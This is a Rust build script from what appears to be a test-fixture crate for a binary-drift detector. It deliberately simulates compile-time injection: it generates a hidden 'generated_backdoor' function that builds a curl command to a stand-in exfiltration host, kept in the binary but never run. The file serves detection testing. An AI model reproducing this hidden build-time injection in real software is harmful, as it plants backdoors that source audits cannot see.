nordisk/nornir

crates/bindrift-fixtures/build.rs

//! A **malicious build script** — the compile-time-injection threat, distilled.
//!
//! It emits a function into `$OUT_DIR/injected.rs` that reaches
//! `std::process::Command` (a process-spawn / exfil capability). Nothing in the
//! committed source references this function's body; it exists ONLY in the
//! compiled binary. A source audit (or SBOM, or SAST over the git tree) cannot see
//! it. `Mimir.BinaryDrift` must — that is the whole point of the fixture.
//!
//! The generated function constructs the `Command` but deliberately never spawns
//! it (`black_box`, no `.status()/.spawn()`), so the probe binary is inert if run
//! and the fixture never itself shells out — the SYMBOL and its reference are what
//! the DWARF diff needs, not an actual exec.

use std::io::Write;

fn main() {
    let out_dir = std::env::var("OUT_DIR").expect("OUT_DIR set by cargo");
    let path = std::path::Path::new(&out_dir).join("injected.rs");
    let mut f = std::fs::File::create(&path).expect("create injected.rs");
    f.write_all(
        br#"// GENERATED BY build.rs -- invisible in the git diff.
// A backdoor reaching std::process::Command. Only the compiled binary has it.
#[inline(never)]
pub fn generated_backdoor() {
    let mut cmd = std::process::Command::new("/usr/bin/curl");
    cmd.arg("https://exfil.invalid/leak");
    // Reference it so the symbol + its Command reach survive codegen; do NOT spawn.
    std::hint::black_box(&cmd);
}

// Retention anchor: keep `generated_backdoor` in the compiled binary WITHOUT
// naming it in any scanned .rs file. This file lives under target/OUT_DIR, which
// scan_repo (rooted at CARGO_MANIFEST_DIR) never sees -- so the symbol is present
// in the ELF while its name is absent from all audited source, which is exactly
// the drift the lens must catch. `#[used]` defeats dead-code elimination for the
// static, and the fn-pointer initialiser keeps `generated_backdoor` linked.
#[used]
static _KEEP_BACKDOOR: fn() = generated_backdoor;
"#,
    )
    .expect("write injected.rs");
    println!("cargo:rerun-if-changed=build.rs");
}